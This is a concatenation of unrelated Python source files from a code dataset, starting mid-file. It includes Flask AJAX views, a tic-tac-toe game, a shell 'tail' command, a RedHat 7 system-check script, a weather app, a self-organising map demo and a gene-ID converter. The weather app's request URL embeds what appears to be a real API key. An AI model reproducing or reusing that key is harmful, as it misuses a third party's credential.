User.last_visit.desc())\n result = {'empty': False,\n 'html': render_template(\n 'ajax/find-username.html', found=found)}\n return jsonify(result)\n\n\n@ajax.route('/find-alias', methods=['POST'])\ndef find_alias():\n result = {'empty': True}\n if current_user.can(permissions.ADMINISTER_SERVICE):\n found = Link.query.filter(Link.suffix.like(\n '{}%'.format(request.form.get('value', 'random-S', type=str))))\\\n .order_by(Link.created.desc())\n result = {'empty': False,\n 'html': render_template('ajax/find-alias.html', found=found)}\n return jsonify(result)\n\n\n@ajax.route('/find-picture', methods=['POST'])\ndef find_picture():\n result = {'empty': True}\n if current_user.can(permissions.ADMINISTER_SERVICE):\n found = Picture.query.filter(Picture.suffix.like(\n '{}%'.format(request.form.get('value', 'random-S', type=str))))\\\n .order_by(Picture.uploaded.desc())\n result = {'empty': False,\n 'html': render_template(\n 'ajax/find-picture.html', found=found)}\n return jsonify(result)\n\n\n@ajax.route('/check-task', methods=['POST'])\ndef check_task():\n result = {'empty': True}\n task = AsyncResult(\n request.form.get('task_id', 'random-S', type=str), app=celery)\n if task:\n result = {'empty': False,\n 'state': task.state}\n if task.state == 'SUCCESS':\n flash(task.result)\n return jsonify(result)\n\n\n@ajax.route('/remove-alias', methods=['POST'])\ndef remove_alias():\n result = {'empty': True}\n target = Link.query.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n if target and (target.author == current_user or\n current_user.can(permissions.ADMINISTER_SERVICE)):\n page = define_page(\n request.form.get('page', 1, type=int),\n request.form.get('last', 0, type=int))\n if request.form.get('common', 1, type=int):\n address = url_for('links.show_links', page=page)\n else:\n address = url_for('admin.show_links', page=page)\n task = remove_one_alias.delay(target.suffix)\n result = {'empty': False,\n 'html': render_template(\n 'ajax/wait-task.html', size=32,\n task_id=task.id, address=address, timeout=800)}\n return jsonify(result)\n\n\n@ajax.route('/remove-picture', methods=['POST'])\ndef remove_picture():\n result = {'empty': True}\n target = Picture.query.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n if target and (target.album.author == current_user or\n current_user.can(permissions.ADMINISTER_SERVICE)):\n page = define_page(\n request.form.get('page', 1, type=int),\n request.form.get('last', 0, type=int))\n if request.form.get('common', 1, type=int):\n address = url_for(\n 'pictures.show_album', suffix=target.album.suffix, page=page)\n else:\n address = url_for('admin.show_pictures', page=page)\n task = remove_a_picture.delay(target.suffix)\n result = {'empty': False,\n 'html': render_template(\n 'ajax/wait-task.html', size=32,\n task_id=task.id, address=address, timeout=800)}\n return jsonify(result)\n\n\n@ajax.route('/remove-album', methods=['POST'])\ndef remove_album():\n result = {'empty': True}\n target = current_user.albums.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n if target:\n page = define_page(\n request.form.get('page', 1, type=int),\n request.form.get('last', 0, type=int))\n task = remove_an_album.delay(target.suffix)\n result = {'empty': False,\n 'html': render_template(\n 'ajax/wait-task.html', size=32,\n task_id=task.id, address=url_for(\n 'pictures.show_albums', page=page),\n timeout=800)}\n return jsonify(result)\n\n\n@ajax.route('/upload-picture-from', methods=['POST'])\ndef upload_from():\n result = {'empty': True}\n album = current_user.albums.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n form = GetUrl(request.form.get('url', None, type=str), csrf_enabled=False)\n if album and form.validate():\n task = verify_url.delay(form.url.data, album.suffix)\n result = {'empty': False,\n 'html': render_template(\n 'ajax/wait-task.html',\n task_id=task.id, size=48,\n address=url_for('pictures.show_album',\n suffix=album.suffix), timeout=800)}\n return jsonify(result)\n\n\n@ajax.route('/change-album-status', methods=['POST'])\ndef change_album_status():\n result = {'emtpy': True}\n target = Album.query.filter_by(\n suffix=request.form.get('suffix', 'random_s', type=str)).first()\n if target and (target.author == current_user or\n current_user.can(permissions.ADMINISTER_SERVICE)):\n target.public = False if target.public else True\n db.session.add(target)\n db.session.commit()\n result = {'empty': False,\n 'public': target.public}\n return jsonify(result)\n\n\n@ajax.route('/rename-album', methods=['POST'])\ndef rename_album():\n result = {'empty': True}\n message = None\n target = current_user.albums.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n new = request.form.get('title', None, type=str)\n if new and target:\n if target.title == new:\n message = 'Название альбома не изменилось.'\n elif current_user.albums.filter_by(title=new).first():\n message = 'Альбом с таким названием у Вас уже ��сть.'\n else:\n message = 'Альбом переименован.'\n target.title = new\n db.session.add(target)\n db.session.commit()\n result = {'empty': False,\n 'redirect': url_for(\n 'pictures.show_album', suffix=target.suffix)}\n if message:\n flash(message)\n return jsonify(result)\n\n\n@ajax.route('/picture-statistic', methods=['POST'])\ndef show_picture_statistic():\n result = {'empty': True}\n picture = Picture.query.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n if picture and picture.album.author == current_user:\n result = {'empty': False,\n 'html': render_template(\n 'pictures/picture-statistic.html', picture=picture)}\n return jsonify(result)\n\n\n@ajax.route('/album-statistic', methods=['POST'])\ndef show_album_statistic():\n result = {'empty': True}\n album = current_user.albums.filter_by(\n suffix=request.form.get('suffix', 'random-S', type=str)).first()\n if album:\n result = {'empty': False,\n 'html': render_template(\n 'pictures/album-statistic.html', album=album)}\n return jsonify(result)\n\n\n@ajax.route('/user-statistic', methods=['POST'])\ndef show_user_statistic():\n result = {'empty': True}\n if current_user.is_authenticated:\n result = {'empty': False,\n 'html': render_template(\n 'pictures/user_statistic.html', target=current_user)}\n return jsonify(result)\n\n\n@ajax.route('/show-next', methods=['POST'])\ndef show_next():\n result = {'empty': True}\n picture = Picture.query.join(Picture, Album.pictures)\\\n .filter(Album.public.is_(True))\\\n .filter(\n Picture.width > 200,\n Picture.height > 200,\n Picture.suffix != request.form.get('suffix', 'random-S', str))\\\n .order_by(func.random()).first()\n if picture:\n result = {'empty': False,\n 'html': render_template(\n 'pictures/next-slide.html', picture=picture)}\n return jsonify(result)\n","sub_path":"auriz/ajax/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"176655678","text":"import random\nplace = [[\"\",\"\",\"\"],[\"\",\"\",\"\"],[\"\",\"\",\"\"]]\ndef boardmaker(): # drawing the board\n print(' ----------- ')\n print(\"|\", \"\", place[0][0], \"|\", \"\", place[0][1], \"|\", \"\", place[0][2], \"|\", )\n print(' ----------- ')\n print(\"|\", \"\", place[1][0], \"|\", \"\", place[1][1], \"|\", \"\", place[1][2], \"|\")\n print(' ----------- ')\n print(\"|\", \"\", place[2][0], \"|\", \"\", place[2][1], \"|\", \"\", place[2][2], \"|\")\n print(' ----------- ')\ndef che(char,row1 , col1, row2, col2,row3, col3):\n if place[row1][col1] == char and place[row2][col2] == char and place[row3][col3] == char:\n return True\n\n\ndef chec(char):\n if che(char, 0,0, 0,1,0,2):\n return True\n if che(char, 1,0, 1,1,1,2):\n return True\n if che(char, 2,0,2,1,2,2):\n return True\n\n if che(char, 0,0,1,0,2,0):\n return True\n if che(char, 0,1,1,1,2,1):\n return True\n if che(char, 0,2,1,2,2,2):\n return True\n\n if che(char, 0,0,1,1,2,2):\n return True\n if che(char, 0,2,1,1,2,0):\n return True\ndef GetUserIP(): # getting the input from the user\n print(\"Enter row from 0 to 2\")\n row=int(input())\n print(\"Enter coloumn from 0 to 2\")\n col=int(input())\n if place[row][col]!=\"\": #checking the whether it is used or not.\n print(\"already used by other\")\n row, col = GetUserIP()\n if row>3 or col>3 or row<0 or col<0: #checking for the valid number\n print(\"Please enter the correct input\")\n row,col=GetUserIP()\n return row,col\n\ndef GetComputerIP(): # by importing the random taking the input from computer\n row=random.randint(0, 2)\n col=random.randint(0, 2)\n if place[row][col]!=\"\": #checking whetehr it is used by any other one\n row,col=GetComputerIP()\n\n return row,col\nfor i in range(0,9): #marking the position\n if(i%2==0):\n IP=GetUserIP()\n place[IP[0]][IP[1]] = \"X\"\n if chec('X') == True: # checking for the winner\n print(\"winner is player\")\n break\n\n\n else:\n IP=GetComputerIP()\n place[IP[0]][IP[1]] = \"O\"\n if chec('O') == True: # checking for the winner\n print(\"winner is computer\")\n break\n\n\n boardmaker()\n","sub_path":"lab-assignment5/source/tictacteo.py","file_name":"tictacteo.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"450402992","text":"#\n# Copyright (c) 2014, Adam Meily\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# * Neither the name of the {organization} nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\nfrom pypsi.base import Command, PypsiArgParser, CommandShortCircuit\nfrom pypsi.completers import path_completer\nimport time\nimport os\n\nTailCmdUsage = \"%(prog)s [-n N] [-f] [-h] FILE\"\n\n\nclass TailCommand(Command):\n '''\n Displays the last N lines of a file to the screen.\n '''\n\n def __init__(self, name='tail', topic='shell', brief='display the last lines of a file', **kwargs):\n self.parser = PypsiArgParser(\n prog=name,\n description=brief,\n usage=TailCmdUsage\n )\n\n self.parser.add_argument(\n 'input_file', help='file to display', metavar=\"FILE\"\n )\n\n self.parser.add_argument(\n '-n', '--lines', metavar=\"N\", type=int, default=10, help=\"number of lines to display\"\n )\n\n self.parser.add_argument(\n '-f', '--follow', help=\"continue to output as file grows\", action='store_true'\n )\n\n super(TailCommand, self).__init__(\n name=name, usage=self.parser.format_help(), topic=topic,\n brief=brief, **kwargs\n )\n\n def run(self, shell, args, ctx):\n try:\n ns = self.parser.parse_args(args)\n except CommandShortCircuit as e:\n return e.code\n\n # check for valid input file\n if not os.path.isfile(ns.input_file):\n self.error(shell, \"invalid file path: \", ns.input_file, \"\\n\")\n return -1\n\n # print the last N lines\n last_lines = self.tail(ns.input_file, ns.lines)\n for line in last_lines:\n print(line)\n print()\n\n # continue to follow the file and display new content\n if ns.follow:\n self.follow_file(ns.input_file)\n\n return 0\n\n def complete(self, shell, args, prefix):\n return path_completer(shell, args, prefix)\n\n def tail(self, fname, lines=10, block_size=1024):\n data = []\n blocks = -1\n num_lines = 0\n where = 0\n\n with open(fname) as fp:\n # seek to the end and get the number of bytes in the file\n fp.seek(0,2)\n num_bytes = fp.tell()\n bytes_left = num_bytes\n\n while num_lines < lines and bytes_left > 0:\n if bytes_left - block_size > 0:\n # Seek back a block_size\n fp.seek(num_bytes - (blocks * block_size))\n # read data from file\n data.insert(0, fp.read(block_size))\n else:\n # jump back to the beginning\n fp.seek(0,0)\n # read data\n data.insert(0, fp.read(num_bytes))\n num_lines = data[0].count('\\n')\n bytes_left -= block_size\n blocks -= 1\n \n return ''.join(data).splitlines()[-lines:]\n\n\n def follow_file(self, fname):\n with open(fname) as fp:\n # jump to the end of the file\n fp.seek(0,2)\n try:\n while 1:\n where = fp.tell()\n line = fp.readline()\n if not line:\n time.sleep(1)\n fp.seek(where)\n else:\n print(line, end='', flush=True)\n except (KeyboardInterrupt):\n print()\n return 0\n \n return 0\n","sub_path":"pypsi/commands/tail.py","file_name":"tail.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"143429380","text":"# \n# __init__.py\n# \n# Author(s):\n# Matteo Spallanzani \n# \n# Copyright (c) 2020-2021 ETH Zurich.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\nimport os\nfrom collections import OrderedDict\nimport networkx as nx\n\nfrom .trace import __TRACES_LIBRARY__\nfrom .. import graphs\n\ndef load_traces_library(modules=None):\n\n mod_2_trace_dir = {}\n for root, dirs, files in os.walk(__TRACES_LIBRARY__):\n if len(dirs) == 0: # terminal directories contain only trace files (graphviz, networkx)\n mod_2_trace_dir[os.path.basename(root)] = root\n\n if modules is None:\n modules = list(mod_2_trace_dir.keys()) # beware: there is no guarantee on the order in which the rescoping rules will be returned!\n\n libtraces = OrderedDict()\n for mod_name in modules:\n\n L = nx.read_gpickle(os.path.join(mod_2_trace_dir[mod_name], 'networkx'))\n VK = {n for n in L.nodes if L.nodes[n]['partition'] == graphs.Bipartite.CONTXT}\n for n in L.nodes:\n del L.nodes[n]['partition']\n K = L.subgraph(VK)\n\n libtraces[mod_name] = (L, K)\n\n return libtraces\n","sub_path":"editing/graphs/traces/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"578408893","text":"# Author: zhengliang\n#coding:utf-8\n# Email: zhengliang@cmss.chinamobile.com\n# Date created: 9/03/2017\n# Python Version: 2.7\n\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nimport subprocess\nfrom liall import redhat7\nimport xlwt\ncheck_redhat7_items =[\n'9检查历史记录是否被清除',\n'10查看启动是否有error信息',\n'11查看系统小版本号',\n'12查看网络配置文件',\n'13查看IP地址',\n'14查看是否通外网',\n'15检查yum源安装包是否清除',\n'16查看ovirt-guest-agent日志',\n'17查看qemu-ga日志',\n'18查看message日志',\n'19查看/var/log/目录下没有旧日志或备份的日志',\n'20查看tmp目录下是否为空',\n'21查看root目录下是否为空',\n'22查看home目录下是否为空',\n'23查看opt目录下是否为空',\n'24查看主机名',\n'25创建虚拟机后查看hostname配置',\n'26查看默认网关',\n'27查看默认源',\n'28查看时区',\n'29查看根分区是否扩容',\n'30查看防火墙',\n'31查看selinux',\n'32检查电源模块是否安装',\n'33检查电源模块是否启动',\n'34检查电源模块是否开机启动',\n'36查看ssh配置',\n'37查看grub文件',\n'38查看cloud-init配置',\n'39检查qemu-ga可执行文件是否被替换',\n'41查看qga运行状态',\n'42查看qga是否为开机启动',\n'43查看qga和oga这2个包是否被锁定',\n'44查看qga的包名及版本',\n'45切换到桌面环境,qga仍然可以运行',\n'46查看oga运行状态',\n'47查看oga是否为开机启动',\n'48查看oga版本号',\n'49查看/etc/sysconfig/qemu-ga中BLACKLIST行是否注释掉',\n'50查看var/lib/cloud/scripts/per-boot/下是否有rm_net_persistent.sh和resize2fs.sh文件',\n'51检查安全加固',\n'53检查内核版本号',\n'55查看hosts',\n'57查看lsblk',\n'58查看180s不操作,是否自动登出',\n'59查看权限',\n'60查看网络配置是否正确(需删除/etc/udev/rules.d/70-persistent-net.rules和70-persistent-cd.rules)',\n'61确认/etc/resolv.conf 中没有:nameserver 192.168.xx.xx',\n'66限制ssh输入密码错误5次后自动锁定5min',\n'67检查openssh-client是否安装',\n'68检查openssh-server是否安装',\n'69查看ssl是否安装',\n'70查看glibc是否安装',\n'71查看bash是否安装且版本号是否正确',\n'72查看wget是否安装且版本号是否正确',\n'73日志安全审计',\n'74无关用户锁定',\n'86查看rsyslog服务是否正常运行',\n'87rsyslog开机自启动',\n'89重启后内核版本是否发生变化',\n'35检查电源配置',\n'40检查qemu-ga配置',\n'52检查bclinux发行版是否有提示信息',\n'54查看登陆欢迎语里面显示有多少包需要更新',\n'56查看/etc/cloud/cloud.cfg.d/90_dpkg.cfg',\n'62修改密码(op)',\n'63开通22端口远程访问(op)',\n'64存储的挂载(op)',\n'65存储的卸载(op)',\n'75查看系统所安装软件包的依赖关系、配置等',\n'76qga后台检查磁盘状态(compute)',\n'77qga后台检查内存状态(compute)',\n'78qga后台修改hostname(compute)',\n'79qga后台修改密码(compute)',\n'80修改密码,验证密码复度(op)',\n'81切换至普通用户(op)',\n'82检查开机启动配置文件权限',\n'83检查开机启动配置文件内容',\n'84确认acpid模块已经加载',\n'85磁盘插拔(compute)',\n'88虚拟机在修改名字前重启系统(op)',\n'90修改主机名,再次查看hostname(op)',\n'91用命令修改hostname,重启后查看是否正确(op)',\n'92查看centos7以上版本,修改hostname后重启,查看hostname是否正确(op)',\n'93创建快照后恢复(op)',\n]\nwbk = xlwt.Workbook(style_compression=2)\nws = wbk.add_sheet('sheet 1',cell_overwrite_ok=True)\nfor i in range(len(check_redhat7_items)):\n #print check_redhat7_items[i]\n #print range(i)\n if redhat7[i]=='t':\n uou=r'N/A'\n uerr=r'N/A'\n ucmd=r'N/A'\n else:\n s = subprocess.Popen(redhat7[i], shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n out,err=s.communicate()\n uou=u'%s'%out\n uerr=u'%s'%err\n ucmd = u'%s' % redhat7[i]\n a=u'%s'%check_redhat7_items[i]\n ws.write(i,0,a)\n ws.write(i,1,ucmd)\n ws.write(i,2,uou)\n ws.write(i, 3, uerr)\n\nwbk.save('res_redhat7.xls')\n#s = subprocess.Popen('ping www.baidu.com', shell=True, stdout=subprocess.PIPE)\n#print s.communicate()\n#print dict(zip(check_redhat7_items,redhat7))\n","sub_path":"check_redhat7.py","file_name":"check_redhat7.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"305518854","text":"from flask import Blueprint, render_template, request, redirect, url_for, flash\nimport requests\nfrom models.city import CityModel\n\nweather_blueprint = Blueprint('weather', __name__)\n\n\n@weather_blueprint.route('/')\n@weather_blueprint.route('/index')\ndef index_get():\n cities = CityModel.query.all()\n\n url = \"http://api.openweathermap.org/data/2.5/weather?q={}&units=metric&appid=fc33e01b4524acec78a01bc1f55826db\"\n\n weather_data = []\n\n for city in cities:\n r = requests.get(url.format(city.city_name)).json()\n\n weather = {\n 'city': city.city_name,\n 'temperature': r['main']['temp'],\n 'description': r['weather'][0]['description'],\n 'icon': r['weather'][0]['icon']\n }\n\n weather_data.append(weather)\n\n return render_template('weather.html', weather_data=weather_data)\n\n\n@weather_blueprint.route('/', methods=['POST'])\n@weather_blueprint.route('/index', methods=['POST'])\ndef index_post():\n new_city = request.form['city_name']\n\n # prevent blank\n if new_city:\n city_exists = CityModel.check_city_exists(new_city)\n\n if not city_exists:\n new_city_obj = CityModel.check_city_valid(new_city)\n if new_city_obj:\n new_city_obj.save_to_db()\n else:\n flash(\"This city does not exist!\", \"error\")\n else:\n flash(\"This city is already shown!\", \"error\")\n\n flash(\"City has been successfully added!\", \"info\")\n\n return redirect(url_for('weather.index_get'))\n\n\n@weather_blueprint.route('/delete/')\ndef delete_city(name):\n CityModel.req_delete(name)\n return redirect(url_for('weather.index_get'))\n","sub_path":"openweatherapp-master/app_blueprints.py","file_name":"app_blueprints.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"308129789","text":"import csv\nimport numpy as np\nimport random\nimport math\nimport sys\nimport time\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\ncount = 0\nwith open('q3dm1-path2.csv', 'rb') as f:\n reader = csv.reader(f)\n for row in reader:\n count += 1\n\ndata = np.zeros((count, 3), dtype=np.float)\n\nwith open('q3dm1-path2.csv', 'rb') as f:\n reader = csv.reader(f)\n for r_idx, row in enumerate(reader):\n for c_idx, col in enumerate(row):\n data[r_idx, c_idx] = float(col)\n\n\ndef distance(point1, point2):\n dist = 0\n for i in range(len(point1)):\n dist += (point1[i] - point2[i]) * (point1[i] - point2[i])\n return math.sqrt(dist)\n\n\ndef SOM(X, k, dim, tmax):\n weights = np.zeros((k,3), dtype=np.float) \n # initializing weights\n for i in range(k):\n point = np.random.randint(0, dim)\n for j in range(3):\n weights[i,j] = X[point,j]\n\n D = np.zeros((k,k), dtype=np.float)\n for i in range(k):\n for j in range(k):\n if( abs(i-j) <= (k//2) ):\n D[i,j] = abs(i-j)\n else:\n D[i,j] = abs(abs(i-j) - k)\n\n\n plt.ion()\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n sc_data = ax.scatter(X[:,0], X[:,1], X[:,2], zorder=1, c='r', alpha=1)\n ax.plot(weights[:,0], weights[:,1], weights[:,2], c='b')\n sc_neurons = ax.scatter(weights[:,0], weights[:,1], weights[:,2], zorder=4, s=100, marker='o',c='b', alpha=1)\n ax.set_xlabel('X Label')\n ax.set_ylabel('Y Label')\n ax.set_zlabel('Z Label')\n fig.show()\n\n \n for t in range(tmax):\n plt.pause(0.001)\n # randomly sample a point\n random_point = X[np.random.randint(0, dim),:]\n \n # determine a winning neuron\n winning_neuron = weights[0,:]\n winning_neuron_index = 0\n dist = distance(winning_neuron, random_point)\n for i in range(1,k):\n dist_temp = distance(weights[i,:], random_point)\n if( dist_temp < dist):\n winning_neuron = weights[i,:]\n winning_neuron_index = i\n dist = dist_temp\n\n learn_rate = (1.0-float(t)/float(tmax))\n sigma = math.exp(-float(t)/float(tmax))\n for i in range(0,k):\n\n dd = distance(winning_neuron, weights[i,:])\n for j in range(3):\n weights[i,j] += learn_rate*math.exp(-( D[winning_neuron_index,i] )/ (2.0*sigma) )*(random_point[j]-weights[i,j])\n\n sc_neurons._offsets3d = (weights[:,0], weights[:,1], weights[:,2])\n plt.draw()\n\nSOM(data, 10, count, 100)","sub_path":"som/somMar.py","file_name":"somMar.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"506456912","text":"import time\nimport RPi.GPIO as GPIO\n\nclass SWITCH():\n\n\tdef __init__(self, pin):\n\t\tself.pin = pin\n\t\t\n\t\tGPIO.setup(self.pin, GPIO.IN)\n\n\tdef IsOn(self):\n\t\tfirstRead = GPIO.input(self.pin)\n\t\t\n\t\tReadSum = 0\n\t\tcount = 10\n\n\t\tfor i in range(count):\n\t\t\tReadSum += GPIO.input(self.pin)\n\t\t\ttime.sleep(0.001)\n\n\t\tif firstRead * 10 == ReadSum:\n\t\t\treturn True if firstRead == 1 else False\n\t\telse:\n\t\t\treturn self.IsOn()","sub_path":"Software/sensor/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"34975060","text":"#walkthough \n\nimport time\n\n#init display, direct from Display class to allow help and completion\nif not 'tft' in dir():\n import display\n tft = display.TFT()\n tft.init(tft.M5STACK, width=240, height=320, rst_pin=33, backl_pin=32, miso=19, mosi=23, clk=18, cs=14, dc=27, bgr=True, backl_on=1)\n\n#Clear the display - Default background\n\ntft.clear(tft.NAVY)\n\n# fonts used in this demo\nfontnames = (\n tft.FONT_Default,\n tft.FONT_7seg,\n tft.FONT_Ubuntu,\n tft.FONT_Comic,\n tft.FONT_Tooney,\n tft.FONT_Minya\n)\n\n\n#general init \nscreen_w, screen_h = tft.screensize()\nheader_h = 32\n\n#draw borders\ndef borders():\n tft.resetwin()\n tft.clear(tft.NAVY)\n #around screen \n tft.rect(0,0,screen_w, screen_h, tft.RED)\n #border around header\n tft.rect(0,0,screen_w, header_h, tft.RED)\n header()\n \ndef header(text=''):\n #draw header \n tft.setwin(1, 1, screen_w-2, header_h-2)\n tft.clearwin(tft.MAROON)\n tft.font(tft.FONT_Comic, transparent = True )\n tft.text(0,0,text,tft.YELLOW) \n\ndef mainwindow(clear=True,color=tft.BLUE):\n #Activate main Window\n #print(1, header_h+1, screen_w-2, screen_h-2)\n tft.setwin(1, header_h+1, screen_w-2, screen_h-2)\n #tft.font(tft.FONT_Minya, transparent = True )\n tft.font(tft.FONT_DejaVu18, transparent = True )\n if clear:\n tft.clearwin(color)\n if color != tft.WHITE:\n tft.text(0,0,'',tft.WHITE) \n else :\n tft.text(0,0,'',tft.BLACK) \n \n#==================================================================\n\nborders()\nheader('empty')\nmainwindow()\n\nimport micropython\nimport gc\n\n\nfor n in range(50):\n #micropython.mem_info()\n print(\"RUNNING\")\n exec(open('satimage.py').read(),globals())\n #micropython.mem_info()\n #print(\"cleaning\")\n gc.collect()\n micropython.mem_info()\n print(n, 'Waiting...')\n time.sleep(60*10)\n","sub_path":"Labs/Lab-4.3 Display/testrun.py","file_name":"testrun.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"640273225","text":"import argparse, sys\nfrom pybicl.io import iterline\nfrom collections import defaultdict\n\ndef converse(f_data, f_out ,f_db, db_id_col, db_gene_col, data_id_col, data_delimiter, skip=0):\n # load database\n id_gene_dict = defaultdict(str)\n for line in iterline(f_db, \"#\"):\n data = line.rstrip(\"\\n\").split(\"\\t\")\n gene_id = data[db_id_col]\n if gene_id:\n gene_symbol = data[db_gene_col]\n id_gene_dict[gene_id] = gene_symbol\n\n # Converse\n with open(f_out, \"w\") as f:\n for indx, line in enumerate(iterline(f_data, None)):\n if indx < skip:\n f.write(line)\n else:\n data = line.rstrip(\"\\n\").split(data_delimiter)\n gene_id = data[data_id_col]\n gene_symbol = id_gene_dict[gene_id]\n if gene_symbol:\n data[data_id_col] = gene_symbol\n else:\n data[data_id_col] = data[data_id_col] + \"(NotFoundGeneSymbol)\"\n f.write(data_delimiter.join(data) + \"\\n\")\n\ndef parse_args_id2geneSymbol(args):\n parser = argparse.ArgumentParser()\n base_group = parser.add_argument_group(\"Base\")\n base_group.add_argument(\"-i\", \"--input\", type=str, dest=\"input\", metavar=\"input.tsv\", required=True)\n base_group.add_argument(\"-k\", \"--kgXref\", type=str, dest=\"kgXref\", metavar=\"kgXref.tsv\", required=True)\n base_group.add_argument(\"--id-type\", type=str, dest=\"id_type\", metavar=\"id_type\", required=True,\n choices=[\"kgID\", \"mRNA\", \"spID\", \"spDisplayID\", \"refseq\", \"protAcc\"])\n base_group.add_argument(\"--id-col\", type=int, dest=\"id_col\", metavar=\"id_col\", required=True, help=\"Column to converse (0-base)\")\n base_group.add_argument(\"-o\", \"--output\", type=str, dest=\"output\", metavar=\"output.gtf\", required=True)\n base_group.add_argument(\"-d\", \"--delimiter\", type=str, dest=\"delimiter\", metavar=\"delimiter\", default=r\"\\t\")\n base_group.add_argument(\"--begin\", type=int, dest=\"begin\", metavar=\"begin\", default=0, help=\"Begin row index to converse (0-base)\")\n return parser.parse_args(args)\n\ndef main_id2geneSymbol(args):\n args = parse_args_id2geneSymbol(args)\n f_in = args.input\n f_kgXref = args.kgXref\n f_out = args.output\n id_type = args.id_type\n data_id_col = args.id_col\n delimiter = args.delimiter\n begin = args.begin\n if delimiter == r\"\\t\":\n delimiter = \"\\t\"\n\n if id_type == \"kgID\":\n id_col = 0\n elif id_type == \"mRNA\":\n id_col = 1\n elif id_type == \"spID\":\n id_col = 2\n elif id_type == \"spDisplayID\":\n id_col = 3\n elif id_type == \"refseq\":\n id_col = 5\n elif id_type == \"protAcc\":\n id_col = 6\n else:\n raise ValueError()\n gene_col = 4\n converse(f_in, f_out, f_kgXref, id_col, gene_col, data_id_col, delimiter, skip=begin)\n\ndef run_id2geneSymbol():\n main_id2geneSymbol(sys.argv[1:])\n\n\ndef parse_args_refSeq2geneSymbol(args):\n parser = argparse.ArgumentParser()\n base_group = parser.add_argument_group(\"Base\")\n base_group.add_argument(\"-i\", \"--input\", type=str, dest=\"input\", metavar=\"input.tsv\", required=True)\n base_group.add_argument(\"-r\", \"--refFlat\", type=str, dest=\"refFlat\", metavar=\"refFlat.tsv\", required=True)\n base_group.add_argument(\"--id-col\", type=int, dest=\"id_col\", metavar=\"id_col\", required=True, help=\"Column to converse (0-base)\")\n base_group.add_argument(\"-o\", \"--output\", type=str, dest=\"output\", metavar=\"output.gtf\", required=True)\n base_group.add_argument(\"-d\", \"--delimiter\", type=str, dest=\"delimiter\", metavar=\"delimiter\", default=r\"\\t\")\n base_group.add_argument(\"--begin\", type=int, dest=\"begin\", metavar=\"begin\", default=0, help=\"Begin row index to converse (0-base)\")\n return parser.parse_args(args)\n\ndef main_refSeq2geneSymbol(args):\n args = parse_args_refSeq2geneSymbol(args)\n f_in = args.input\n f_refFlat = args.refFlat\n f_out = args.output\n data_id_col = args.id_col\n delimiter = args.delimiter\n begin = args.begin\n if delimiter == r\"\\t\":\n delimiter = \"\\t\"\n\n id_col = 1\n gene_col = 0\n converse(f_in, f_out, f_refFlat, id_col, gene_col, data_id_col, delimiter, skip=begin)\n\ndef run_refSeq2geneSymbol():\n 